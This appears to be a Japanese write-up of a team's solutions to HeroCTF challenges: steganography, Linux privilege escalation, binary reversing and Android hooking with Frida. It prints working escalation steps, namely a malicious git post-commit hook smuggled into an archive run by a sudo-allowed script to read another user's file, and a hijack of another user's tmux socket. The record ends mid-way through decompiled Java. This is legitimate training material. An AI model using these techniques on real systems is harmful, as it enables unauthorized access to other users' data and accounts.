この大会は2025/11/29 5:00(JST)~2025/12/1 7:00(JST)に開催されました。
今回もチームで参戦。結果は500点で1052チーム中351位でした。
自分で解けた問題をWriteupとして書いておきます。
Welcome (Misc)
ルールのページの最下部にフラグが書いてあった。
Hero{d1d_y0u_r34lly_r34d_th3_rul3s}
LSD#4 (Misc)
問題文のヒントにある通り、画像の1000, 1000の位置から縦横100pxだけ切り取る。この範囲でRGBのうちRのみLSBを結合し、2進数として文字にデコードする。
#!/usr/bin/env python3 from PIL import Image img = Image.open('secret.png').convert('RGB') bin_msg = '' for y in range(100): for x in range(100): r, g, b = img.getpixel((x + 1000, y + 1000)) bin_msg += str(r & 1) msg = '' for i in range(0, len(bin_msg), 8): msg += chr(int(bin_msg[i:i+8], 2)) if msg[-1] == '}': break print(msg)
この結果、以下のようにデコードでき、末尾にフラグが書いてあった。
Steganography is the practice of concealing information. It involves hiding data within an ordinary, non-secret file or message to prevent detection. The hidden information is being extracted at the receiving end. Often, steganography is combined with encryption to add an extra layer of security for the hidden data. With the help of Steganography, we can hide any digital content virtually like text, image, videotape, etc.
The term "steganography" is derived from the Greek word "steganos" which means "hidden or covered" and "graph" means "to write." It has been in use for centuries. For example, in ancient Greece, people carved messages onto wood and covered them with wax to hide it. Similarly, Romans used different types of invisible inks which could be revealed when exposed to heat or light. Here is your flag: Hero{M4YB3_TH3_L4ST_LSB?}
Hero{M4YB3_TH3_L4ST_LSB?}
Neverland (Misc)
$ ssh -p 14385 intern@dyn05.heroctf.fr The authenticity of host '[dyn05.heroctf.fr]:14385 ([172.234.172.87]:14385)' can't be established. ED25519 key fingerprint is: SHA256:5aH/LIi+zCeKAvODtTRvDJgwQuLZ7E2GF1yKDncFzwI This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[dyn05.heroctf.fr]:14385' (ED25519) to the list of known hosts. intern@dyn05.heroctf.fr's password: Linux neverland 6.12.57+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.57-1 (2025-11-05) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. intern@neverland:~$ ls -la total 20 drwx-----x 1 intern intern 4096 Nov 28 16:42 . drwxr-xr-x 1 root root 4096 Nov 28 16:42 .. lrwxrwxrwx 1 root root 9 Nov 28 16:42 .bash_history -> /dev/null -rw-r--r-- 1 intern intern 220 Nov 28 16:42 .bash_logout -rw-r--r-- 1 intern intern 3526 Nov 28 16:42 .bashrc -rw-r--r-- 1 intern intern 807 Nov 28 16:42 .profile intern@neverland:~$ sudo -l Matching Defaults entries for intern on neverland: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User intern may run the following commands on neverland: (peter) /opt/commit.sh intern@neverland:~$ cat /opt/commit.sh #!/bin/bash # ============================================================================== # Admin Git Review & Commit Script # ============================================================================== # # DESCRIPTION: # This script is intended to be run by an 'admin' user. It automates the # process of reviewing and committing changes from a user-submitted Git # repository archive. # # --- Configuration --- # Path to the admin's "official" repository. # This script will initialize it if it doesn't exist. ADMIN_REPO_PATH="/app" # Directory to temporarily extract user submissions. TEMP_DIR="/home/peter/git-review-$$" # $$ ensures a unique directory per run # --- Script Body --- # Exit immediately if a command exits with a non-zero status. set -e # Function to print messages with a prefix log() { echo "[ADMIN GIT COMMIT] $1" } # 1. Validate user input if [ "$#" -ne 1 ]; then log "ERROR: You must provide the path to one repository archive (.tar.gz)." log "Usage: $0 <path-to-archive.tar.gz>" exit 1 fi USER_ARCHIVE=$1 if [ ! -f "$USER_ARCHIVE" ]; then log "ERROR: File not found: $USER_ARCHIVE" exit 1 fi # 2. Prepare for review log "Received submission: $USER_ARCHIVE" mkdir -p "$TEMP_DIR" log "Extracting archive to temporary directory: $TEMP_DIR" tar -xzf "$USER_ARCHIVE" -C "$TEMP_DIR" EXTRACTED_DIR=$(find "$TEMP_DIR" -mindepth 1 -maxdepth 1 -type d) cd "$EXTRACTED_DIR" log "Changed directory to $(pwd)" # 3.1 Security Check 1: Verify commit history log "Verifying that your repository is up-to-date..." ADMIN_LAST_COMMIT=$(git --git-dir="$ADMIN_REPO_PATH/.git" log -1 --pretty=%H) USER_LAST_COMMIT=$(git log -1 --pretty=%H) log "Admin's latest commit: $ADMIN_LAST_COMMIT" log "Your latest commit: $USER_LAST_COMMIT" if [ "$ADMIN_LAST_COMMIT" != "$USER_LAST_COMMIT" ]; then log "REJECTED: Your repository's last commit does not match the official repository." log "Please pull the latest changes from the official repository before submitting." rm -rf "$TEMP_DIR" exit 1 fi log "SUCCESS: Commit history matches." # 3.2 Security Check 2: Verify .git/config integrity log "Verifying integrity of .git/config file..." ADMIN_CONFIG_HASH=$(sha256sum "$ADMIN_REPO_PATH/.git/config" | awk '{ print $1 }') USER_CONFIG_HASH=$(sha256sum ".git/config" | awk '{ print $1 }') log "Admin's .git/config hash: $ADMIN_CONFIG_HASH" log "Your .git/config hash: $USER_CONFIG_HASH" if [ "$ADMIN_CONFIG_HASH" != "$USER_CONFIG_HASH" ]; then log "REJECTED: Your .git/config file has been tampered with. Integrity check failed." rm -rf "$TEMP_DIR" exit 1 fi log "SUCCESS: .git/config is valid. Proceeding with review." # 4. Review and Commit the changes log "Reviewing your proposed changes..." echo "--------------------------------------------------" git status echo "--------------------------------------------------" log "Everything looks good. Adding your changes to the staging area." git add . log "Committing your changes to the official branch. Stand by..." GIT_COMMITTER_NAME="Admin" GIT_COMMITTER_EMAIL="admin@localhost" \ git commit -m "Accepted user submission" > /dev/null log "Changes successfully committed." # 5. Cleanup log "Cleaning up temporary files..." cd / rm -rf "$TEMP_DIR" log "Process complete. Thank you for your contribution." exit 0
Adminのcommit IDを取得する。
intern@neverland:~$ git --git-dir=/app/.git log -1 --pretty=%H c648226ba232b212548c2ac602c7f07f22ea8522
取得できるので、Adminの.gitをコピーしておく。
intern@neverland:~$ mkdir exploit intern@neverland:~$ cd exploit intern@neverland:~/exploit$ cp -r /app/.git .git
フックで実行する処理を記述する。
intern@neverland:~/exploit$ cat << 'EOF' > .git/hooks/post-commit > #!/bin/bash > cat /home/peter/flag.txt > /tmp/flag.txt > chmod 644 /tmp/flag.txt > EOF intern@neverland:~/exploit$ chmod +x .git/hooks/post-commit
tar.gzで固め、peter権限で実行する。
intern@neverland:~/exploit$ echo "dummy" > dummy.txt intern@neverland:~/exploit$ cd . intern@neverland:~$ tar -czf exploit.tar.gz exploit intern@neverland:~$ sudo -u peter /opt/commit.sh exploit.tar.gz [sudo] password for intern: [ADMIN GIT COMMIT] Received submission: exploit.tar.gz [ADMIN GIT COMMIT] Extracting archive to temporary directory: /home/peter/git-review-72 [ADMIN GIT COMMIT] Changed directory to /home/peter/git-review-72/exploit [ADMIN GIT COMMIT] Verifying that your repository is up-to-date... [ADMIN GIT COMMIT] Admin's latest commit: c648226ba232b212548c2ac602c7f07f22ea8522 [ADMIN GIT COMMIT] Your latest commit: c648226ba232b212548c2ac602c7f07f22ea8522 [ADMIN GIT COMMIT] SUCCESS: Commit history matches. [ADMIN GIT COMMIT] Verifying integrity of .git/config file... [ADMIN GIT COMMIT] Admin's .git/config hash: cfe7ba1238c9a78be7535d7c63bcaf5a4d5011d46b07c9b45d3bbf7d6c312dfe [ADMIN GIT COMMIT] Your .git/config hash: cfe7ba1238c9a78be7535d7c63bcaf5a4d5011d46b07c9b45d3bbf7d6c312dfe [ADMIN GIT COMMIT] SUCCESS: .git/config is valid. Proceeding with review. [ADMIN GIT COMMIT] Reviewing your proposed changes... -------------------------------------------------- On branch master Changes not staged for commit: (use "git add/rm <file>..." to update what will be committed) (use "git restore <file>..." to discard changes in working directory) deleted: .gitignore deleted: README.md deleted: config-tool.py Untracked files: (use "git add <file>..." to include in what will be committed) dummy.txt no changes added to commit (use "git add" and/or "git commit -a") -------------------------------------------------- [ADMIN GIT COMMIT] Everything looks good. Adding your changes to the staging area. [ADMIN GIT COMMIT] Committing your changes to the official branch. Stand by... [ADMIN GIT COMMIT] Changes successfully committed. [ADMIN GIT COMMIT] Cleaning up temporary files... [ADMIN GIT COMMIT] Process complete. Thank you for your contribution. intern@neverland:~$ cat /tmp/flag.txt Hero{c4r3full_w1th_g1t_hO0k5_d4dcefb250aa8c2ffabaa57119e3bc42}
Hero{c4r3full_w1th_g1t_hO0k5_d4dcefb250aa8c2ffabaa57119e3bc42}
Movie Night #1 (System)
$ ssh -p 14826 user@dyn09.heroctf.fr The authenticity of host '[dyn09.heroctf.fr]:14826 ([172.234.172.75]:14826)' can't be established. ED25519 key fingerprint is: SHA256:Vx8KZ8CLGQcFd66sTkimcNjC8qXWW4g6OrvCtZtZyI4 This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[dyn09.heroctf.fr]:14826' (ED25519) to the list of known hosts. user@dyn09.heroctf.fr's password: Linux movie_night 6.12.57+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.57-1 (2025-11-05) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. user@movie_night:~$ ps -aux | grep dev dev 31 0.0 0.0 4548 3348 ? Ss 03:51 0:00 tmux -S /tmp/tmux-1002 new-session -d -s work bash dev 32 0.0 0.0 4196 3472 pts/0 Ss+ 03:51 0:00 bash user 68 0.0 0.0 3332 1724 pts/1 S+ 03:57 0:00 grep dev user@movie_night:~$ tmux -S /tmp/tmux-1002 attach
devユーザのプロンプトに移った。
dev@movie_night:~$ cat /home/dev/flag.txt Hero{1s_1t_tmux_0r_4l13n?_a20bac4b5aa32e8d9a8ccb75d228ca3e}
Hero{1s_1t_tmux_0r_4l13n?_a20bac4b5aa32e8d9a8ccb75d228ca3e}
The Chef's Secret Recipe (Reverse)
Ghidraでデコンパイルする。
undefined8 main(int param_1,undefined8 *param_2) { int iVar1; undefined8 uVar2; long in_FS_OFFSET; char local_48 [56]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); if (param_1 < 2) { printf("[-] Missing arguments, usage %s <FLAG_STR>\n",*param_2); uVar2 = 1; } else { local_48[0] = '\0'; local_48[1] = '\0'; local_48[2] = '\0'; local_48[3] = '\0'; local_48[4] = '\0'; local_48[5] = '\0'; local_48[6] = '\0'; local_48[7] = '\0'; local_48[8] = '\0'; local_48[9] = '\0'; local_48[10] = '\0'; local_48[0xb] = '\0'; local_48[0xc] = '\0'; local_48[0xd] = '\0'; local_48[0xe] = '\0'; local_48[0xf] = '\0'; local_48[0x10] = '\0'; local_48[0x11] = '\0'; local_48[0x12] = '\0'; local_48[0x13] = '\0'; local_48[0x14] = '\0'; local_48[0x15] = '\0'; local_48[0x16] = '\0'; local_48[0x17] = '\0'; local_48[0x18] = 0; local_48[0x19] = '\0'; local_48[0x1a] = '\0'; local_48[0x1b] = '\0'; local_48[0x1c] = '\0'; local_48[0x1d] = '\0'; local_48[0x1e] = '\0'; local_48[0x1f] = '\0'; local_48[0x20] = 0; local_48[0x21] = '\0'; local_48[0x22] = '\0'; local_48[0x23] = '\0'; local_48[0x24] = '\0'; local_48[0x25] = '\0'; local_48[0x26] = '\0'; local_48[0x27] = '\0'; local_48[0x28] = '\0'; printf(&DAT_00102300, "\tTo bake the perfect flag-cake: sift the flour, add sugar, crack some eggs,\n \tmelt th e butter, blend in vanilla and milk, whisk the cocoa, fold in the baking powder,\n \tswir l in the cream, chop some cherry, toss on sprinkles, preheat the oven, grease the pan,\n \tline it with parchment, set the timer, light a candle, serve on a plate, and garnish wi th frosting,\n \ta pinch of salt, and crushed nuts for that final touch of sweetness. \n\ n" ); parse_recipe("\tTo bake the perfect flag-cake: sift the flour, add sugar, crack some eggs,\n \tm elt the butter, blend in vanilla and milk, whisk the cocoa, fold in the baking powder,\n \tswirl in the cream, chop some cherry, toss on sprinkles, preheat the oven, grease the pan,\n \tline i t with parchment, set the timer, light a candle, serve on a plate, and garnish with frosting,\n \ta pinch of salt, and crushed nuts for that final touch of sweetness. \n\n" ,local_48); iVar1 = strcmp(local_48,(char *)param_2[1]); if (iVar1 == 0) { printf("[+] Good job you here is your flag: %s\n",local_48); } else { puts("[-] Nope"); } uVar2 = 0; } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar2; }
gdb-pedaでstrcmpの比較箇所で止めて、比較文字列を見てみる。
$ gdb -q ./my_secret_recipe Reading symbols from ./my_secret_recipe... (No debugging symbols found in ./my_secret_recipe) gdb-peda$ start [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [----------------------------------registers-----------------------------------] RAX: 0x555555555559 (<main>: push rbp) RBX: 0x7fffffffdd38 --> 0x7fffffffe0e9 ("/mnt/hgfs/Shared/my_secret_recipe") RCX: 0x555555557dd8 --> 0x555555555150 (endbr64) RDX: 0x7fffffffdd48 --> 0x7fffffffe10b ("CLUTTER_IM_MODULE=xim") RSI: 0x7fffffffdd38 --> 0x7fffffffe0e9 ("/mnt/hgfs/Shared/my_secret_recipe") RDI: 0x1 RBP: 0x7fffffffdc20 --> 0x1 RSP: 0x7fffffffdc20 --> 0x1 RIP: 0x55555555555d (<main+4>: sub rsp,0x60) R8 : 0x0 R9 : 0x7ffff7fcbc80 (push rbp) R10: 0x7fffffffd960 --> 0x800000 R11: 0x202 R12: 0x0 R13: 0x7fffffffdd48 --> 0x7fffffffe10b ("CLUTTER_IM_MODULE=xim") R14: 0x7ffff7ffd000 --> 0x7ffff7ffe310 --> 0x555555554000 --> 0x10102464c457f R15: 0x555555557dd8 --> 0x555555555150 (endbr64) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x555555555558 <parse_recipe+321>: ret 0x555555555559 <main>: push rbp 0x55555555555a <main+1>: mov rbp,rsp => 0x55555555555d <main+4>: sub rsp,0x60 0x555555555561 <main+8>: mov DWORD PTR [rbp-0x54],edi 0x555555555564 <main+11>: mov QWORD PTR [rbp-0x60],rsi 0x555555555568 <main+15>: mov rax,QWORD PTR fs:0x28 0x555555555571 <main+24>: mov QWORD PTR [rbp-0x8],rax [------------------------------------stack-------------------------------------] 0000| 0x7fffffffdc20 --> 0x1 0008| 0x7fffffffdc28 --> 0x7ffff7dd7ca8 (mov edi,eax) 0016| 0x7fffffffdc30 --> 0x7fffffffdd20 --> 0x7fffffffdd28 --> 0x38 ('8') 0024| 0x7fffffffdc38 --> 0x555555555559 (<main>: push rbp) 0032| 0x7fffffffdc40 --> 0x155554040 0040| 0x7fffffffdc48 --> 0x7fffffffdd38 --> 0x7fffffffe0e9 ("/mnt/hgfs/Shared/my_secret_recipe") 0048| 0x7fffffffdc50 --> 0x7fffffffdd38 --> 0x7fffffffe0e9 ("/mnt/hgfs/Shared/my_secret_recipe") 0056| 0x7fffffffdc58 --> 0xc0c8a427e38e10a1 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Temporary breakpoint 1, 0x000055555555555d in main () gdb-peda$ disas main Dump of assembler code for function main: 0x0000555555555559 <+0>: push rbp 0x000055555555555a <+1>: mov rbp,rsp => 0x000055555555555d <+4>: sub rsp,0x60 0x0000555555555561 <+8>: mov DWORD PTR [rbp-0x54],edi 0x0000555555555564 <+11>: mov QWORD PTR [rbp-0x60],rsi 0x0000555555555568 <+15>: mov rax,QWORD PTR fs:0x28 0x0000555555555571 <+24>: mov QWORD PTR [rbp-0x8],rax 0x0000555555555575 <+28>: xor eax,eax 0x0000555555555577 <+30>: cmp DWORD PTR [rbp-0x54],0x1 0x000055555555557b <+34>: jg 0x5555555555a5 <main+76> 0x000055555555557d <+36>: mov rax,QWORD PTR [rbp-0x60] 0x0000555555555581 <+40>: mov rax,QWORD PTR [rax] 0x0000555555555584 <+43>: lea rdx,[rip+0xb8d] # 0x555555556118 0x000055555555558b <+50>: mov rsi,rax 0x000055555555558e <+53>: mov rdi,rdx 0x0000555555555591 <+56>: mov eax,0x0 0x0000555555555596 <+61>: call 0x555555555060 <printf@plt> 0x000055555555559b <+66>: mov eax,0x1 0x00005555555555a0 <+71>: jmp 0x55555555565d <main+260> 0x00005555555555a5 <+76>: mov QWORD PTR [rbp-0x40],0x0 0x00005555555555ad <+84>: mov QWORD PTR [rbp-0x38],0x0 0x00005555555555b5 <+92>: mov QWORD PTR [rbp-0x30],0x0 0x00005555555555bd <+100>: mov QWORD PTR [rbp-0x28],0x0 0x00005555555555c5 <+108>: mov QWORD PTR [rbp-0x27],0x0 0x00005555555555cd <+116>: mov QWORD PTR [rbp-0x1f],0x0 0x00005555555555d5 <+124>: lea rax,[rip+0xb6c] # 0x555555556148 0x00005555555555dc <+131>: mov QWORD PTR [rbp-0x48],rax 0x00005555555555e0 <+135>: mov rax,QWORD PTR [rbp-0x48] 0x00005555555555e4 <+139>: lea rdx,[rip+0xd15] # 0x555555556300 0x00005555555555eb <+146>: mov rsi,rax 0x00005555555555ee <+149>: mov rdi,rdx 0x00005555555555f1 <+152>: mov eax,0x0 0x00005555555555f6 <+157>: call 0x555555555060 <printf@plt> 0x00005555555555fb <+162>: lea rdx,[rbp-0x40] 0x00005555555555ff <+166>: mov rax,QWORD PTR [rbp-0x48] 0x0000555555555603 <+170>: mov rsi,rdx 0x0000555555555606 <+173>: mov rdi,rax 0x0000555555555609 <+176>: call 0x555555555417 <parse_recipe> 0x000055555555560e <+181>: mov rax,QWORD PTR [rbp-0x60] 0x0000555555555612 <+185>: add rax,0x8 0x0000555555555616 <+189>: mov rdx,QWORD PTR [rax] 0x0000555555555619 <+192>: lea rax,[rbp-0x40] 0x000055555555561d <+196>: mov rsi,rdx 0x0000555555555620 <+199>: mov rdi,rax 0x0000555555555623 <+202>: call 0x555555555070 <strcmp@plt> 0x0000555555555628 <+207>: test eax,eax 0x000055555555562a <+209>: jne 0x555555555649 <main+240> 0x000055555555562c <+211>: lea rax,[rbp-0x40] 0x0000555555555630 <+215>: lea rdx,[rip+0xcf1] # 0x555555556328 0x0000555555555637 <+222>: mov rsi,rax 0x000055555555563a <+225>: mov rdi,rdx 0x000055555555563d <+228>: mov eax,0x0 0x0000555555555642 <+233>: call 0x555555555060 <printf@plt> 0x0000555555555647 <+238>: jmp 0x555555555658 <main+255> 0x0000555555555649 <+240>: lea rax,[rip+0xd00] # 0x555555556350 0x0000555555555650 <+247>: mov rdi,rax 0x0000555555555653 <+250>: call 0x555555555040 <puts@plt> 0x0000555555555658 <+255>: mov eax,0x0 0x000055555555565d <+260>: mov rdx,QWORD PTR [rbp-0x8] 0x0000555555555661 <+264>: sub rdx,QWORD PTR fs:0x28 0x000055555555566a <+273>: je 0x555555555671 <main+280> 0x000055555555566c <+275>: call 0x555555555050 <__stack_chk_fail@plt> 0x0000555555555671 <+280>: leave 0x0000555555555672 <+281>: ret End of assembler dump. gdb-peda$ b *0x0000555555555623 Breakpoint 2 at 0x555555555623 gdb-peda$ r hoge Starting program: /mnt/hgfs/Shared/my_secret_recipe hoge [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 🍰 The Chef’s Secret Recipe: To bake the perfect flag-cake: sift the flour, add sugar, crack some eggs, melt the butter, blend in vanilla and milk, whisk the cocoa, fold in the baking powder, swirl in the cream, chop some cherry, toss on sprinkles, preheat the oven, grease the pan, line it with parchment, set the timer, light a candle, serve on a plate, and garnish with frosting, a pinch of salt, and crushed nuts for that final touch of sweetness. [----------------------------------registers-----------------------------------] RAX: 0x7fffffffdbe0 ("Hero{0h_N0_y0u_60T_My_S3cReT_C4k3_R3c1pe}G\376\367\377\177") RBX: 0x7fffffffdd38 --> 0x7fffffffe0e4 ("/mnt/hgfs/Shared/my_secret_recipe") RCX: 0x2 RDX: 0x7fffffffe106 --> 0x554c430065676f68 ('hoge') RSI: 0x7fffffffe106 --> 0x554c430065676f68 ('hoge') RDI: 0x7fffffffdbe0 ("Hero{0h_N0_y0u_60T_My_S3cReT_C4k3_R3c1pe}G\376\367\377\177") RBP: 0x7fffffffdc20 --> 0x2 RSP: 0x7fffffffdbc0 --> 0x7fffffffdd38 --> 0x7fffffffe0e4 ("/mnt/hgfs/Shared/my_secret_recipe") RIP: 0x555555555623 (<main+202>: call 0x555555555070 <strcmp@plt>) R8 : 0x7fffffffd930 --> 0x65777300666f0068 ('h') R9 : 0x5555555564c8 --> 0x714fffff0bb R10: 0x3 R11: 0x7ffff7f14970 (vpxor xmm15,xmm15,xmm15) R12: 0x0 R13: 0x7fffffffdd50 --> 0x7fffffffe10b ("CLUTTER_IM_MODULE=xim") R14: 0x7ffff7ffd000 --> 0x7ffff7ffe310 --> 0x555555554000 --> 0x10102464c457f R15: 0x555555557dd8 --> 0x555555555150 (endbr64) EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x555555555619 <main+192>: lea rax,[rbp-0x40] 0x55555555561d <main+196>: mov rsi,rdx 0x555555555620 <main+199>: mov rdi,rax => 0x555555555623 <main+202>: call 0x555555555070 <strcmp@plt> 0x555555555628 <main+207>: test eax,eax 0x55555555562a <main+209>: jne 0x555555555649 <main+240> 0x55555555562c <main+211>: lea rax,[rbp-0x40] 0x555555555630 <main+215>: lea rdx,[rip+0xcf1] # 0x555555556328 Guessed arguments: arg[0]: 0x7fffffffdbe0 ("Hero{0h_N0_y0u_60T_My_S3cReT_C4k3_R3c1pe}G\376\367\377\177") arg[1]: 0x7fffffffe106 --> 0x554c430065676f68 ('hoge') arg[2]: 0x7fffffffe106 --> 0x554c430065676f68 ('hoge') [------------------------------------stack-------------------------------------] 0000| 0x7fffffffdbc0 --> 0x7fffffffdd38 --> 0x7fffffffe0e4 ("/mnt/hgfs/Shared/my_secret_recipe") 0008| 0x7fffffffdbc8 --> 0x200000000 0016| 0x7fffffffdbd0 --> 0x0 0024| 0x7fffffffdbd8 --> 0x555555556148 ("\tTo bake the perfect flag-cake: sift the flour, add sugar, crack some eggs,\n \tmelt the butter, blend in vanilla and milk, whisk the cocoa, fold in the baking powder,\n \tswirl in the cream, chop some ch"...) 0032| 0x7fffffffdbe0 ("Hero{0h_N0_y0u_60T_My_S3cReT_C4k3_R3c1pe}G\376\367\377\177") 0040| 0x7fffffffdbe8 ("N0_y0u_60T_My_S3cReT_C4k3_R3c1pe}G\376\367\377\177") 0048| 0x7fffffffdbf0 ("0T_My_S3cReT_C4k3_R3c1pe}G\376\367\377\177") 0056| 0x7fffffffdbf8 ("cReT_C4k3_R3c1pe}G\376\367\377\177") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 2, 0x0000555555555623 in main ()
Hero{0h_N0_y0u_60T_My_S3cReT_C4k3_R3c1pe}
Freeda Simple Hook (Android)
Bytecode Viewerでデコンパイルする。
package com.heroctf.freeda1.utils; import java.nio.charset.Charset; final class Vault { public static final int[] a = new int[]{52, 88, 27, 32, 27, 186, 96, 109, 45, 202, 42, 125, 25, 134, 159, 69, 47, 142, 192, 184, 13, 19, 139, 173, 59, 129, 0, 158, 165, 188, 13, 62, 74, 184, 58, 75, 172, 202, 66}; public static String get_flag() { int var3 = seed(); int[] var6 = new int[39]; int var2 = 0; int var0; for(var0 = 0; var0 < 39; var6[var0] = var0++) { } int var1 = -1515870811 ^ var3; for(var0 = 38; var0 >= 0; --var0) { var1 ^= var1 << 13; var1 ^= var1 >>> 17; var1 ^= var1 << 5; int var5 = (int)(Integer.toUnsignedLong(var1) % (long)(var0 + 1)); int var4 = var6[var0]; var6[var0] = var6[var5]; var6[var5] = var4; } byte[] var7 = new byte[39]; for(var0 = var2; var0 < 39; ++var0) { var1 = (a[var6[var0]] & 255) - var0 & 255; var2 = var3 >>> 27 & 7; var7[var0] = (byte)((var1 << 8 - var2 | var1 >>> var2) & 255 ^ var3 >>> (var0 & 3) * 8 & 255); } return new String(var7, Charset.forName(new String(new char[]{'U', 'T', 'F', '-', '8'}))); } private static int seed() { String var1 = new String(new char[]{'c', 'o', 'm', '.', 'h', 'e', 'r', 'o', 'c', 't', 'f', '.', 'f', 'r', 'e', 'e', 'd', 'a', '1', '.', 'M', 'a', 'i', 'n', 'A', 'c', 't', 'i', 'v', 'i', 't', 'y'}); String var2 = new String(new char[]{'c', 'o', 'm', '.', 'h', 'e', 'r', 'o', 'c', 't', 'f', '.', 'f', 'r', 'e', 'e', 'd', 'a', '1', '.', 'u', 't', 'i', 'l', 's', '.', 'C', 'h', 'e', 'c', 'k', 'F', 'l', 'a', 'g'}); int var0 = var1.hashCode() ^ -1056969150 ^ var2.hashCode(); return var0 ^ Integer.rotateLeft(var0, 7) * -1640531527; } }
com.heroctf.freeda1.utils.Vaultクラスのget_flag()でフラグを取得できる。Fridaを使って、get_flag関数をフックしてフラグを取得することを考える。
まずAndroid StudioのエミュレータにFridaサーバをインストールし、起動する。
> adb push frida-server-17.5.1-android-x86_64 /data/local/tmp/frida-server frida-server-17.5.1-android-x86_64: 1 ...170.2 MB/s (110713240 bytes in 0.620s) > adb shell chmod 755 /data/local/tmp/frida-server > adb root restarting adbd as root > adb shell "/data/local/tmp/frida-server &"
app-release.apkをエミュレータにインストールする。
>adb install app-release.apk Performing Streamed Install Succes
hook.jsに以下のように記述し、フックするようにする。
Java.perform(function () { var target = Java.use("com.heroctf.freeda1.utils.Vault"); target.get_flag.implementation = function() { console.log("[*] get_flag called"); var result = this.get_flag(); console.log("[*] returns:", result); return result; }; });
このフック設定をした状態でアプリを実行する。
>frida -U -f com.heroctf.freeda1 -l hook.js
____
/ _ | Frida 17.5.1 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at https://frida.re/docs/home/
. . . .
. . . . Connected to Android Emulator 5554 (id=emulator-5554)
Spawned `com.heroctf.freeda1`. Resuming main thread!
[Android Emulator 5554::com.heroctf.freeda1 ]-> アプリ側で適当なパスワードを入力し、Submitする。すると、先ほどの実行コンソールの続きに以下の通り表示された。
[*] get_flag called
[*] returns: Hero{1_H0P3_Y0U_D1DN'T_S7A71C_4N4LYZ3D}
Hero{1_H0P3_Y0U_D1DN'T_S7A71C_4N4LYZ3D}
Freeda Not Root (Android)
Bytecode Viewerでデコンパイルする。
package com.heroctf.freeda2.utils; import java.lang.invoke.MethodHandle; import java.lang.invoke.MethodHandles; import java.lang.invoke.MethodType; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.nio.charset.Charset; public final class Vault { private Vault() { if ((System.nanoTime() >>> 5 & 7L) == 6L) { throw new AssertionError("nope"); } } private static int[] B(int var0) { int[] var1 = new int[]{var0 & 255, var0 >>> 8 & 255, var0 >>> 16 & 255, var0 >>> 24 & 255}; if (((var1[0] ^ var1[1] ^ var1[2] ^ var1[3]) & 1) != 2) { return var1; } else { throw new AssertionError("dead"); } } private static int[] E() { char[] var4 = "fH6Da4rCaxDW/".toCharArray(); char[] var2 = "lvs32vwcvJcmy".toCharArray(); char[] var3 = "9TgPQaLHfJuw==".toCharArray(); StringBuilder var5 = new StringBuilder(var4.length + var2.length + var3.length); var5.append(var4); if ((System.nanoTime() & 1L) == 2L) { var5.append('x'); } var5.append(var3, 0, var3.length); var5.insert(var4.length, var2, 0, var2.length); String var19 = var5.toString(); boolean var14 = false; byte[] var18; try { var14 = true; Object var17 = Class.forName("java.util.Base64").getMethod("getDecoder", (Class[])null).invoke((Object)null, (Object[])null); var18 = (byte[])var17.getClass().getMethod("decode", String.class).invoke(var17, var19); var14 = false; } finally { if (var14) { label156: try { var18 = (byte[])Class.forName("android.util.Base64").getMethod("decode", String.class, Integer.TYPE).invoke((Object)null, var19, 0); break label156; } finally { ; } } } int[] var20 = new int[var18.length]; int var1 = -1; while(true) { boolean var0 = false; while(!var0) { ++var1; if (var1 < var18.length) { var0 = true; } else { var0 = true; } } if (!var0) { return var20; } var20[var1] = var18[var1] & 255; } } private static int[] I(int var0) { int[] var2 = new int[var0]; int var1 = -1; while(true) { ++var1; if (var1 >= var0) { return var2; } var2[var1] = var1; } } private static int K() { return 1604156355; } private static int[] P(int var0, int var1) { int[] var5 = I(var0); var1 ^= -1515870811; while(true) { int var2 = var0 - 1; if (var0 <= 0) { return var5; } var1 = X(var1); var0 = (int)(((long)var1 & 4294967295L) % ((long)var2 + 1L)); int var3 = var5[var2]; int var4 = var5[var0]; if (((var3 ^ var4) & 1) == 0) { var5[var2] = var4; var5[var0] = var3; } else { var5[var0] = var3; var5[var2] = var4; } var0 = var2; } } private static int X(int var0) { var0 ^= var0 << 13; var0 ^= var0 >>> 17; return var0 ^ var0 << 5; } public static String get_flag() { String var8 = "UTF-8"; Class var9 = Vault.class; System.nanoTime(); int var3 = 0; boolean var188 = false; int var0; int var1; int var2; int[] var11; byte[] var203; int[] var12; Object var13; Object var14; Object var15; int[] var207; MethodHandle var16; label1978: { try { var188 = true; MethodHandles.Lookup var10 = MethodHandles.lookup(); Class var7 = Integer.TYPE; var10.findStatic(Vault.class, "K", MethodType.methodType(var7)); var16 = var10.findStatic(Vault.class, "E", MethodType.methodType(int[].class)); var10.findStatic(Vault.class, "P", MethodType.methodType(int[].class, var7, var7)); var10.findStatic(Vault.class, "B", MethodType.methodType(int[].class, var7)); var188 = false; } finally { if (var188) { var2 = 0; var0 = 0; var1 = var0; var13 = null; var14 = null; var16 = null; var15 = null; var207 = null; var11 = null; var12 = null; var203 = 